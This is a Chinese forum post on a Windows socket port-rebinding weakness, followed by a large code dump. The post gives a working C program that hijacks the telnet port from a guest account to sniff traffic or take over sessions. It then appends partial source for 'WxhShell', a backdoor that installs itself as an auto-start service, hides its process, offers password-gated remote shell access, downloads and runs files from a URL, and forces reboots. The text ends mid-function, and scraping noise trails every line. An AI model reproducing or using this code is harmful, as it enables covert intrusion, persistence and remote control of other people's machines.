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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _P]!J~$5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P4~=_Hh  
|8s)kQ4$  
  saddr.sin_family = AF_INET; .}V&*-ep  
,%a7sk<5k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .;'3Roi  
d'yA"b]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~il{6Z+#n  
.M$}.v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xa?#wY b  
.PhH|jrCW^  
  这意味着什么?意味着可以进行如下的攻击: q:9#Vcw  
^ld ?v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VZJ[h{ 6  
g[,1$39Z|@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >nnjL rI  
c T!L+z g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N%,!&\L  
5}/TB_W7j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |=Mn~`9p  
NQD*8PGfj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Po: )b  
BRx`83CK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4p %=8G|  
rkW2_UTZE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {0#p,l  
WLTraB[?  
  #include _Wjd`*  
  #include p FkqDU  
  #include !QB(M@1  
  #include    0H6^2T<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1{.=T&eG#  
  int main() mu1Lgs$;  
  { 8>}^W  
  WORD wVersionRequested; s] X]jfA.  
  DWORD ret; 0uf'6<fR  
  WSADATA wsaData; ( _{\tgSm  
  BOOL val; r95l.v  
  SOCKADDR_IN saddr; "^~>aVuXf  
  SOCKADDR_IN scaddr; 7D;g\{>M  
  int err; j3W)5ZX  
  SOCKET s; E!eBQ[@  
  SOCKET sc; KvM}g2"  
  int caddsize; $:YJ<HvG<  
  HANDLE mt; y'9 bs  
  DWORD tid;   qQ_o>+3VAy  
  wVersionRequested = MAKEWORD( 2, 2 ); :V%XEN)  
  err = WSAStartup( wVersionRequested, &wsaData ); UO& p2   
  if ( err != 0 ) { JERWz~n}  
  printf("error!WSAStartup failed!\n"); 3']yjj(gHr  
  return -1; _Vs\:tygs  
  } Nz ,8NM]  
  saddr.sin_family = AF_INET; +U%U3tAvs  
   H@uCbT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u,d@ oF(=  
r] +V:l3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f8Xe%"<  
  saddr.sin_port = htons(23); s57-<&@J9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @CSTp6{y  
  { #NAlje(7  
  printf("error!socket failed!\n"); ZjE!? '(ef  
  return -1;  4I> I  
  } 9Fl}"p[>L.  
  val = TRUE; rSYzrVc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?\QEK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0nF>E@j^[  
  { mxYsP6&  
  printf("error!setsockopt failed!\n"); O^D$ ~ ]  
  return -1; LN8V&'>  
  } O1.a=O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Om% 9 x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +M+ht  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i6^COr  
w/KCu W<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {5f? y\Z  
  { #Fua^]n  
  ret=GetLastError(); }NMkL l]J  
  printf("error!bind failed!\n"); y s5b34JN  
  return -1; "e4hPY#  
  } %}U-g"I  
  listen(s,2); x}.Q9L  
  while(1) s^nwF>  
  { MSm vQ  
  caddsize = sizeof(scaddr); n')#]g0[  
  //接受连接请求 `hD\u@5Tw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2VOdI  
  if(sc!=INVALID_SOCKET) (9N75uCa  
  { wn'_;0fg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3 ;F=EMz{  
  if(mt==NULL) sLV bFN`  
  { ^AWM/aY  
  printf("Thread Creat Failed!\n"); GdqT4a\S  
  break; oEHUb?(p  
  } NXv u}&H  
  } $vS`w4Y  
  CloseHandle(mt); P5+FZzQ  
  } 0Ts[IHpg&E  
  closesocket(s); 5@$b@jTd  
  WSACleanup(); XD5z+/F<"0  
  return 0; lE+v@Kb:  
  }   6#+&_ #9  
  DWORD WINAPI ClientThread(LPVOID lpParam) =OIx G}*  
  { 7XE/bhe%S  
  SOCKET ss = (SOCKET)lpParam; "}i\" x;s  
  SOCKET sc; 8J:6uO c|  
  unsigned char buf[4096]; %Dg]n 4f  
  SOCKADDR_IN saddr; #Nt? 4T<  
  long num; =Tf uwhV  
  DWORD val; af]&3(33  
  DWORD ret; *`:zSnu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iPMI$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T jO}P\p  
  saddr.sin_family = AF_INET; 0kI.d X)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `J h> 1l  
  saddr.sin_port = htons(23); 6]dK,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8X`Gm!)  
  { c <[?Z7y  
  printf("error!socket failed!\n"); }>cQ}6n.  
  return -1; sKhX0,s&  
  } .(tga&]  
  val = 100; S1pikwB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r'/7kF- 5  
  { b$P=rIB  
  ret = GetLastError(); 8>Hnv]p  
  return -1; d,|W  
  } L$7 NT}L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C7`FM@z  
  { r%hnl9  
  ret = GetLastError(); }d2]QD#O  
  return -1; 4/$ $?w4  
  } /JL2dBy#z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e,qc7BJzK  
  { @ oE [!  
  printf("error!socket connect failed!\n"); 9l?#ZuGXp  
  closesocket(sc); zE +)oQ,  
  closesocket(ss); jb8v3L  
  return -1; :qi"I;=6  
  } D +/27#  
  while(1) tY<D\T   
  { )p7WU?&I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _dY6Ip%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~Rx[~a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y&NO[  
  num = recv(ss,buf,4096,0); 95;q ] =U  
  if(num>0) | 1H"ya  
  send(sc,buf,num,0); 87zsV/  
  else if(num==0) <">tB"="b  
  break; k9`Bi`wp  
  num = recv(sc,buf,4096,0); '{j.5~4y  
  if(num>0) ,~t{Q*#_h  
  send(ss,buf,num,0); fr8:L!9  
  else if(num==0) MoN;t;  
  break; bZk7)b;1o  
  } RSG\3(  
  closesocket(ss); h >w4{u0  
  closesocket(sc); }tT"vCu  
  return 0 ; k 41lw^Jh  
  } vW`{BWd  
[1@ -F+  
`#hdb=3  
========================================================== NrVrR80Y  
WC,&p  
下边附上一个代码,,WXhSHELL *upl*zFf0  
Mt)`hR+2  
========================================================== iCCY222:  
RQ# gn  
#include "stdafx.h" +rbj%v}Fh  
K'~wlO@O  
#include <stdio.h> ? &ew$%  
#include <string.h> 5_b`QO  
#include <windows.h> zJS,f5L6)  
#include <winsock2.h> E ~xK1x"  
#include <winsvc.h> HONrt|c  
#include <urlmon.h> bS _!KU  
d ! A)H<Zt  
#pragma comment (lib, "Ws2_32.lib") ` /JJ\`Pu  
#pragma comment (lib, "urlmon.lib") mmm025.   
,p/iN9+Z  
#define MAX_USER   100 // 最大客户端连接数 Esw#D90q  
#define BUF_SOCK   200 // sock buffer ~M%r.WFpA  
#define KEY_BUFF   255 // 输入 buffer ,2vPmff  
gT*0WgB  
#define REBOOT     0   // 重启 A.m#wY8  
#define SHUTDOWN   1   // 关机 Me[T=Tt`@w  
.Ya]N+r*  
#define DEF_PORT   5000 // 监听端口 %B` MO-  
&GcWv+p  
#define REG_LEN     16   // 注册表键长度 zr%lBHuW  
#define SVC_LEN     80   // NT服务名长度 #q40  >)]  
?"\`u;  
// 从dll定义API v bzeabm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :BG/]7>|V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -XIjol(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2>0[^ .;"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _, /m  
/o#!9H   
// wxhshell配置信息 HJ]\VP9Zb  
struct WSCFG { JX(JZ/8B^  
  int ws_port;         // 监听端口 Qfr%BQV  
  char ws_passstr[REG_LEN]; // 口令 rxjMCMF  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^Afq)26D  
  char ws_regname[REG_LEN]; // 注册表键名 |&WeXVH E  
  char ws_svcname[REG_LEN]; // 服务名 7. 9n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :-7`Lfi@%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H[ocIw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 di}YHMTx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7(lR$,bE;=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *; . l/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QN:gSS{30  
Ks:~Z9r}  
}; >up'`K,  
pXPwn(  
// default Wxhshell configuration C"_f3[Z  
struct WSCFG wscfg={DEF_PORT, 8P.UB{QNe  
    "xuhuanlingzhe", X6%w6%su5  
    1, [TvH7ott'1  
    "Wxhshell", n!~mdI&  
    "Wxhshell", S/v+7oT  
            "WxhShell Service", JyWBLi;Z  
    "Wrsky Windows CmdShell Service", r 11:T3  
    "Please Input Your Password: ", %m1k^  
  1, c%c/mata?  
  "http://www.wrsky.com/wxhshell.exe",  (-DA%  
  "Wxhshell.exe" t=J\zyX!  
    }; 2KMLpO&De  
@kC>+4s!  
// 消息定义模块 Lc(D2=%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [4sI<aH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J Sz'oA5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,A9pj k'  
char *msg_ws_ext="\n\rExit."; "&%: 9O  
char *msg_ws_end="\n\rQuit."; 5*~Mv<#  
char *msg_ws_boot="\n\rReboot..."; $8h^R#  
char *msg_ws_poff="\n\rShutdown..."; |^Nz/PN  
char *msg_ws_down="\n\rSave to "; p"f=[awp  
"I?sz)pxG  
char *msg_ws_err="\n\rErr!"; 1XQJ#J1/  
char *msg_ws_ok="\n\rOK!"; gBz$RfyF  
Ac!,#Fq  
char ExeFile[MAX_PATH]; )[Bwr bn  
int nUser = 0; rMAH YH9  
HANDLE handles[MAX_USER]; >HO{gaRM  
int OsIsNt; awN{F6@ZE  
S]iMZ \I/  
SERVICE_STATUS       serviceStatus; \^2%v~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mz@`*^7?  
cMOvM0f  
// 函数声明 :#v8K;C  
int Install(void); cGiS[-g  
int Uninstall(void); jca7Cx`sm  
int DownloadFile(char *sURL, SOCKET wsh); yHkZInn  
int Boot(int flag); J;4x-R$W  
void HideProc(void); L+2!Sc,>  
int GetOsVer(void);  ::Y   
int Wxhshell(SOCKET wsl); ~Fv&z'R  
void TalkWithClient(void *cs); 9.ZhkvR4A  
int CmdShell(SOCKET sock); HubSmbS1  
int StartFromService(void); |4//%Ll/  
int StartWxhshell(LPSTR lpCmdLine); g9(zJ  
4Z>hP]7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q/ -8sO}q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }7YDe'5V  
]^MOFzSz~  
// 数据结构和表定义 dk~h  
SERVICE_TABLE_ENTRY DispatchTable[] = 0mo^I==J1  
{ {bnNY  
{wscfg.ws_svcname, NTServiceMain}, B~oSKM%8R  
{NULL, NULL} y]Q G;  
}; hWpn~q  
'(A)^K>+  
// 自我安装 CL%?K<um  
int Install(void) /'?Fz*b  
{ 6+"P$Ed#i  
  char svExeFile[MAX_PATH]; z5IHcZ  
  HKEY key; 4K`N3  
  strcpy(svExeFile,ExeFile); 3)v6N_  
}Zu2GU$6  
// 如果是win9x系统,修改注册表设为自启动 (yQ]n91Q,  
if(!OsIsNt) { 7qSlqA<Hs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dt?O_Bdv[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (x,w/1  
  RegCloseKey(key); d&'z0]mOe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K_j$iHqLF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <cG .V |B  
  RegCloseKey(key); "GoNTM5h  
  return 0; g/,fjM_  
    } NfcY30}:  
  } (.\GI D+i  
} a6=mE?JTB  
else { jeF1{%  
@>f]0,"(  
// 如果是NT以上系统,安装为系统服务 ;;'b;,/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :/fG %e  
if (schSCManager!=0) x][vd^iW  
{ o~!4&  
  SC_HANDLE schService = CreateService ^c{}G<U^  
  ( O-B~~$g  
  schSCManager, O @fX +W?U  
  wscfg.ws_svcname, ,GEMc a,`  
  wscfg.ws_svcdisp, Ti`<,TA54  
  SERVICE_ALL_ACCESS, {H s" "/sb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dgPJte%i  
  SERVICE_AUTO_START, ]4SnOSV?S  
  SERVICE_ERROR_NORMAL, F^b C!;~x  
  svExeFile, {V%ZOdg9  
  NULL, Ib.`2@ o&  
  NULL, 'JY*K:-  
  NULL, U I|L;5  
  NULL, D.xN_NK"  
  NULL _ b}\h,Ky  
  ); 8=ubMqr[  
  if (schService!=0)  !J!zi  
  { \W;~[-"#  
  CloseServiceHandle(schService); ?^P#P0  
  CloseServiceHandle(schSCManager); nW+rJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :7%JD.;W  
  strcat(svExeFile,wscfg.ws_svcname); ^zkTV_,cRp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rt~Aud[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NWPL18*C  
  RegCloseKey(key); 5} |O  
  return 0; , M$*c  
    } SPW @TF1  
  } d_#\^!9  
  CloseServiceHandle(schSCManager); m>2b %GTh  
} lGqwB,K$z4  
} 0$l=ME(  
`*PVFm>  
return 1; 6u/3"A]'  
} B#o(21s  
Dr6"~5~9w  
// 自我卸载 ZDny=&>#  
int Uninstall(void) y/i{6P2`,D  
{ eFKF9m  
  HKEY key; ;$,b w5  
D8X~qt/  
if(!OsIsNt) { +*uaB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (%~^Kmfb0  
  RegDeleteValue(key,wscfg.ws_regname); <ks+JkW_  
  RegCloseKey(key); !aQb Kp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AS4mJ UU9  
  RegDeleteValue(key,wscfg.ws_regname); _4,/uG|a O  
  RegCloseKey(key); CCDU5l$$  
  return 0; #mKF)W  
  } sbv2*fno5  
} w3Lr~_j  
} {,aX|*1Ku~  
else { ~(*2 :9*0  
\MqOHM.[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Jlp nR#@  
if (schSCManager!=0) qofD@\-  
{ QNbV=*F?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ls<^z@I  
  if (schService!=0) 6mV-+CnYC  
  { GHNw.<`l?  
  if(DeleteService(schService)!=0) { }fO+b5U  
  CloseServiceHandle(schService); ibH!bS{  
  CloseServiceHandle(schSCManager); w.VjGPp  
  return 0; B/O0 ~y!n  
  } "w&IO}j;=  
  CloseServiceHandle(schService); 9*Q6/?v  
  } 9$k0  
  CloseServiceHandle(schSCManager); ~Y/:]&wF  
} MB7`'W  
} ~Uw;6VXV1  
qP{Fwn  
return 1; 3 C{A  
} PI\C*_.  
A=W:}szt]  
// 从指定url下载文件 f+!k:}K  
int DownloadFile(char *sURL, SOCKET wsh) -wa"&Q  
{ <*Nd%Ca  
  HRESULT hr; R_^0Un([  
char seps[]= "/"; =U7P\s w2  
char *token; %u}#|+8}  
char *file; -*A1[Z ?  
char myURL[MAX_PATH]; HmiG%1+{A  
char myFILE[MAX_PATH]; %@9c'6  
UpaF>,kM  
strcpy(myURL,sURL); QUeuN?3X\  
  token=strtok(myURL,seps); .af+h<RG4$  
  while(token!=NULL) }7*|s+F(f  
  { 'B:8tv  
    file=token; (/7b8)g  
  token=strtok(NULL,seps); '8Cg2v5&w  
  } =kTHfdin&  
qxB|*P `  
GetCurrentDirectory(MAX_PATH,myFILE);  WD55(  
strcat(myFILE, "\\"); /:tzSKq}  
strcat(myFILE, file); fUMjLA|*I<  
  send(wsh,myFILE,strlen(myFILE),0); GQ(*k)'a  
send(wsh,"...",3,0); \sz*M B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v%rmfIU  
  if(hr==S_OK) |'Z+`HI  
return 0; B"YN+So  
else nW)?cQ I  
return 1; _h+7 KK  
QLH!>9Ch  
} EHy15RL  
D V\7KKJE  
// 系统电源模块 !(Ymc_s  
int Boot(int flag) IR:GoD+  
{ 7Kf  
  HANDLE hToken; :w q][0)  
  TOKEN_PRIVILEGES tkp; b(oe^jeGz  
N5c*#lHI  
  if(OsIsNt) { 0!-'4+"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ebn3r:IU-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E{0e5.{  
    tkp.PrivilegeCount = 1; k%3)J"|/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IL go:xQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pbd[gKX_  
if(flag==REBOOT) { _@i-?Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r+8)<Xt+p  
  return 0; |8pSMgN  
} denxcDFu/~  
else { Sg$\H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?q7MbQw  
  return 0; K@<*m!%<2  
} qfG:v Tm  
  } Nw9@E R  
  else { uh2 F r  
if(flag==REBOOT) { ^&D5J\][  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _&~l,%)&  
  return 0; &?@[bD'T  
} #|K{txC   
else { tm/=Oc1p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Td ade+  
  return 0; )RN3Oz@H  
} Nyt*mbd5 {  
} ^vxx]Hji  
 V~VUl)  
return 1; (/2rj[F&  
} t{>#)5Pqv  
#K0/ >W  
// win9x进程隐藏模块 sj4\lpZ3h  
void HideProc(void) L pq)TE#  
{ @  R[K8  
`*cqT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #1%ahPhR+  
  if ( hKernel != NULL ) RP$h;0EQG  
  { (a0(ZOKH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >|, <9z`D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~;jgl_5?b  
    FreeLibrary(hKernel); e/cHH3 4  
  } `+T 2IPN  
HU'w[r 6a  
return; r!1f>F*dt  
} CuK>1_Dq  
T_!F I29  
// 获取操作系统版本 ia3Q1 9r  
int GetOsVer(void) :1Nc6G  
{ r&Nh>6<&/  
  OSVERSIONINFO winfo; IqV" 4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ux1j+}y  
  GetVersionEx(&winfo); T9}~]zW7P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qSlo)aP  
  return 1; { TI,|'>5[  
  else +_ /ys!  
  return 0; t #Kucde  
} KB^8Z@(+  
T*mR9 8i  
// 客户端句柄模块 m_Pk$Vwx  
int Wxhshell(SOCKET wsl) z:Tj0< A'  
{ n-2!<`UFX  
  SOCKET wsh; U# [T!E  
  struct sockaddr_in client; +pq) 7  
  DWORD myID; '.<iV!ZdZ  
CVvl &on  
  while(nUser<MAX_USER) W4$aX5ow$  
{ C+P.7]?&  
  int nSize=sizeof(client); g)\Tex<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Op8Gj  `  
  if(wsh==INVALID_SOCKET) return 1; )5n0P Zi  
\9@}0}%`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $W=)-X\>  
if(handles[nUser]==0) j94~c YV  
  closesocket(wsh); O'B3sy  
else +,,dsL  
  nUser++; Y@:l!4DI  
  } _f8H%Kgk;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "=n%L +6%  
nTc#I~\  
  return 0; Ky7.&6\n  
} Q|P M6ta  
%,1TAmJfHa  
// 关闭 socket x1Y/^ks@2  
void CloseIt(SOCKET wsh) @GD $KR9  
{ u$[&'D6  
closesocket(wsh); ftcLP  
nUser--; q+4dHS)x  
ExitThread(0); s0]ZE\`H>  
} x0>N{ADXQ  
c~/poFj  
// 客户端请求句柄 O7_y QQAA  
void TalkWithClient(void *cs) P`O`Mw EAf  
{ 8 e_]  
w)* H&8h@  
  SOCKET wsh=(SOCKET)cs; =BN<)f^*s  
  char pwd[SVC_LEN]; Z2@e~&L  
  char cmd[KEY_BUFF]; fd #QCs  
char chr[1]; ?$ov9U_  
int i,j; Dq%} ({+  
@`+\v mfD  
  while (nUser < MAX_USER) { 'v^shGI%Ht  
kCEo */,  
if(wscfg.ws_passstr) { _VjaTw8iM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =SuJ*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sN-u?EiF8  
  //ZeroMemory(pwd,KEY_BUFF); KPDJ$,:  
      i=0; ]@cI_n  
  while(i<SVC_LEN) { ZvQZD=,F  
7Y-Q, ?1  
  // 设置超时 AX&Emz-  
  fd_set FdRead; GIkeZV{4}  
  struct timeval TimeOut; o3\^9-jmp  
  FD_ZERO(&FdRead); 6iXV  
  FD_SET(wsh,&FdRead); cUP1Uolvn  
  TimeOut.tv_sec=8; o\ce|Dzt  
  TimeOut.tv_usec=0; =jh^mD&'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mv/ SU">F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^tSwAanP\  
h?;03>6A&]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A@?-"=h}  
  pwd=chr[0]; p<h(  
  if(chr[0]==0xd || chr[0]==0xa) { *2N0r2t&  
  pwd=0; 2Mq@5n  
  break; )(yaX  
  } *Q?8OwhJ  
  i++; tS\Db'C7  
    } Y@q9   
oiR9NB&<  
  // 如果是非法用户,关闭 socket }+MA*v[06  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %-$ :/ N  
} 5M9o(Z\AF  
kG9aH Ww  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %Qb}z@>fJk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D3,)H%5.y  
kI04<!  
while(1) { Het>G{  
Il>o60u1  
  ZeroMemory(cmd,KEY_BUFF); 0~_I9|FN  
S&y${f  
      // 自动支持客户端 telnet标准   /qwY/^  
  j=0; Z8/.I  
  while(j<KEY_BUFF) { ^V9|uHOJoq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GutiqVP:B  
  cmd[j]=chr[0]; ;5$ GJu(  
  if(chr[0]==0xa || chr[0]==0xd) { nLwfPj  
  cmd[j]=0; 8[t*VIXI  
  break; hT_Q_1,  
  } /E{tNd^S  
  j++; -qvMMit%7  
    } dT&u}o3X  
Isvb;VT9L  
  // 下载文件 pbqk  
  if(strstr(cmd,"http://")) { 'byTM?Sp{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (RrC<5"  
  if(DownloadFile(cmd,wsh)) D+ .vg?8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5]CaWFSmT  
  else +_vf=d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .X(qs1  
  } uTz>I'f  
  else { {*g{9`   
F4"bMN  
    switch(cmd[0]) { d:vc)]M>f{  
  ndT_;==  
  // 帮助  !a\HdQ  
  case '?': { vaHtWz!P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Uc ,..  
    break; U|.r -$|5P  
  } EBk-qd a}  
  // 安装 y=+OC1k\8  
  case 'i': { nQ|($V1?W  
    if(Install()) Y`$\o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 |?N  
    else 1^GRUbOU[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pmurG  
    break; 2h]CZD4  
    } s S3RK  
  // 卸载 W?!rqo2SP  
  case 'r': { Hi$N"16A5z  
    if(Uninstall()) 3m4 sh~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yA*U^:%  
    else c68y\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ay^P #\VZ  
    break; MT)q?NcG  
    } ^ r(]S%  
  // 显示 wxhshell 所在路径 8KkN "4'  
  case 'p': { 20haA0s  
    char svExeFile[MAX_PATH]; yt,Ky8y1  
    strcpy(svExeFile,"\n\r"); 8'qlg|{!~  
      strcat(svExeFile,ExeFile); j"pyK@v2B  
        send(wsh,svExeFile,strlen(svExeFile),0); G;pmR^  
    break; IZ^:wIKo{  
    } +O8zVWr  
  // 重启 y0?HZ Xq  
  case 'b': { ^5?|Dj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #)48dW!n  
    if(Boot(REBOOT)) agruS'c g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eLgq )  
    else { 5.oY$tb(  
    closesocket(wsh); :J x%K  
    ExitThread(0); 8cMX=P  
    } ci:|x =  
    break; ei=u$S.  
    } m]Qs BK  
  // 关机 vd$>nJ"  
  case 'd': { #uC}IX2n  
